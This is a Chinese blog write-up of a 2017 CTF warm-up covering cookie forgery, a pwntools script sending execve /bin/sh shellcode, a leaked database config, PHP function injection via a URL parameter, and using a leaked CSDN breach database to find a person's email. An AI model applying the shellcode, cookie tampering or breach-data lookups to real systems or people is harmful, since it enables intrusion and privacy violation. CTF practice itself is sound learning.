博赛杯热身赛Write Up

2017/07/03 Write_Up

介绍

  最初想的是每当自己有所收获便通过博客的方式巩固一下,没想到,等我下次想起博客这回事的时候,已经过去这么久了。中途的收获也没办法细细道来。以后有机会,看看日记里有没有什么线索能让我将碎片化的东西整理一下,重新发出来。

  HappyCTF为QQ群安全届娱乐圈发起的以公益为目的的民间网络安全技术比赛,本大赛旨在通过网络安全比赛促进安全行业发展、促进安全从业者之间相互交流。这篇文章仅介绍我个人的热身赛思路以及Write-Up。

复写

猥琐的笑声

  我印象中此题是第一题,给的提示是nc ipaddf 1234这样用意就很明显了,我们只需要打开CMD或者终端使用netcat工具进行连接即可。win如果没有的话下载一个放进C:\Windows\System32重启CMD就可以使用了。UNIX系统一般都有,不过就算没有获取也更加方便,apt yum pip之类的不用再提。

  然后我们会得到一大堆由福字组成的乱码。然后将其所有复制粘贴到记事本。发现根本看不出所以然,后来看到有人说是二维码,我才知道直接复制粘贴nc的返回结果导致的格式混乱。所以我写了一个py脚本用于socket连接获取然后存入txt。

#coding:utf8
import socket
import re
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(('9.9.9.10',1234))
filename='nc.txt'
test=''
while True:
    m=sock.recv(150)
    test=test+m
    print len(m)
    if len(m)<100:
        break

f=open(filename,'a')
f.write(test)
f.close()

  以上都是错误的示范!!!因为有更方便的方式,NetCat自带有输出功能。nc 9.9.9.10 1234 > 1.txt 这样所有的输出就在1.txt里了。这样很明显就能看出来是一个二维码。但是并不能直接识别。需要将福替换成比较复杂的汉字。然后字体加粗,缩小字号到看不清字。主要在于字不能太大也不能太小,截图后做个反向或者直接扫描就可以识别。最后得到FLAG。

Easy Login

  这是一道WEB,考察的是对cookie的使用。打开网页后如下:

  demo账号密码都是自己填好了的。我们直接登陆看看会有什么。登陆后页面只有一句话。Welcome,But u can’t do anything!好吧,这很明显能想到是权限问题。然后网站权限靠什么控制呢?一般都是cookie,所以查看当前网站的cookie。发现有个

mycookie=ZGVtb0BkYmFwcHNlY3VyaXR5LmNvbS5jbg%3D%3D

  在URL编码中%3D是=,因为结尾的两个=所以我们可以看出来这个cookie很有可能是一个base64编码。所以拿去解码试试。结果解出来是demo@dbappsecurity.com.cn说明思路是正确的。我试了一下将demo改为admin\administrator等之类的常规管理名,然后base64加密后替换cookie。发现不管用。猜不到管理员的邮箱没办法登陆,一度卡在这里。不过幸运的是,后来F12审查元素的时候,发现其中有这么一段

  所以我们得到了这个页面的作者的名字。那么是不是可以通过名字得到邮箱呢,也许他的邮箱就是管理员的邮箱。随便找个社工库查询一下,发现是CSDN泄露的数据库里的一员。然后得到了其邮箱。base64加密替换cookie登陆成功。FLAG到手。

Pwn_1

  因为是UNIX下编译的软件,所以Win有些不兼容,加上不是自己的电脑,没有过于折腾,装虚拟机什么的。OD MINGW下的GDB载入失败后我直接放弃了。后来看WP的时候才发现,IDA可以载入的,不知道当时怎么想的,完全忘记了IDA这种静态分析。

push    ebp
mov     ebp, esp
and     esp, 0FFFFFFF0h		//栈地址对齐16字节
sub     esp, 30h	//分配48(3*16)字节的内存
mov     dword ptr [esp+8], 14h ; nbytes		//使14h(20)字节存入esp+8代表的地址中
lea     eax, [esp+13h]		//eax=esp+13h
mov     [esp+4], eax    ; buf		//esp+4=eax里的值
mov     dword ptr [esp], 0 ; fd		//0存入esp代表的地址中
call    _read	//调用read函数
mov     byte ptr [esp+26h], 0	//0将esp+26h的地址里的值清0
lea     eax, [esp+13h]	eax=esp+13h
mov     [esp], eax      ; s		esp=eax存的值
call    _strlen		//调用strlen
mov     [esp+4], eax	//esp+4=eax存的值
mov     dword ptr [esp], offset format ; "%d welcome\n"		//esp=后面那一串
call    _printf		//调用prinrf
lea     eax, [esp+13h]		eax=esp+13h
mov     [esp+2Ch], eax		//esp+2Ch=eax里的值
mov     eax, [esp+2Ch]		//eax=esp+2Ch里的值
call    eax		//调用eax
leave
retn

  以上备注纯手打,同一个语法用了不同的描述方式。未特殊注明的皆指地址,如倒数第四行的eax指eax这个地址里的值为esp+2Ch里的值。由此可以看出,输入20字节。从esp+8村道esp+13。最后将其作为返回值放入eax。还调用了eax。那么我们可以传入20字节的shellcode,就能完成对目标的控制。获取FLAG。

  python写的脚本如下:

from pwn import *

shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x 62\x69\x6e\x87\xe3\xb0\x0b\xcd\x80"
p=remote('9.9.9.12',8888)
p.sendline(shellcode)
p.interactive()

  pwn是python中的一个专门给Pwn开发的工具包,搜索pwntool就出来了。

你不是管理员

  题目描述是 You are not a administrator

  不管那么多,打开页面发现有个登录和注册,那就先注册。然后登陆后提示You are not a administrator。很明显还是一个权限控制Web题,所以查看一下cookie。发现有个username和uid。

  又有%3D,仿佛我又看见了base64加密替换的套路。然而并不会出同一样的题,所以解码出来是乱码,后来一直看不出来是什么加密方法,然后卡在这里了。后来看WriteUp的时候才发现,套路有够骚的。WP里面把cookie的username替换成了uid,发现用户名变成了uid,可以推测根据uid判断用户。由于不知道加密方式无法直接修改cookie,但是可以用username替换uid。所以思路出来了。注册用户名是管理员uid的用户,然后替换就可以了。但是发现注册名有长度限制,太短无法注册。经测试,注册用户为1aaaaa的用户,登陆替换后发现uid成了1,aaaaa被过滤。所以我们可以一直注册下去直到注册到admin获得权限拿到FLAG。

管理员的愤怒

  这道题提示都很普通,答案为flag{}形式,提交{}内内容即可等于没有提示。这道题确实给不了什么提示。访问后就一句话。Success in database connection!我还以为是http头注入,试了很久,无果。

  后来随便扫了一下目录。发现有/include和/dbadmin目录。直接访问这两个目录。

  这里有个db.php,下下来一看里面有数据库账号密码。

  所以用这里的账号密码从dbadmin登陆phpadmin,然后查看数据库,有个flag表打开获得FLAG。

100块钱都不给我

  这道题要多过分多过分。开始还以为是加密什么。打开后是很多乱码组成的一个100块不给我的图。尝试解密失败后完完全全懵逼了。

  幸运的是,访问robots.txt的时候。如图:

  访问之后如下图:

  这里的意思是如果ctf参数存在,就得到ctf的值,否则为空。将值赋值给变量a。如果a这个函数存在,则执行a这个函数。否则print <<<DBAPP。所以我们直接在链接后面加?ctf=xxx,尝试flag等无果。后来尝试phpinfo发现打开了。而flag就在里面。得到FLAG。

.bash_history

  这个就比较简单了,提示是这样的:

某公司的运维出现了重大失误,我们把.bash_history拷贝下来了,你能帮忙分析吗?

  查看附件

  mysql账号密码泄露,直接mysql3306登陆查看数据库就能得到FLAG。

救世捷径

  提示如下:一个名叫CPU的神秘大陆有26个国家,有些国家之间 会有一条无向路,每条路径都有不同的长度和一段神秘代码, 救世主尼奥要从国家1出发,赶往国家26拯救大陆,请你帮 助救世主选择最短路径,而走过的路的神秘代码连接起来便 是flag。提示已经说得很明显了,这是一个算法问题。不过比较简单,我没有写算法来算。直接手动操作得到结果。把结尾为26的找到,然后往前摸,跨度越大,长度越少的额外标记一下。直到找到1。然后把字母连起来,就是FLAG 。

转载请注明:碎雪的小屋 » “博赛杯”热身赛Write Up

Show Disqus Comments

Search

    Table of Contents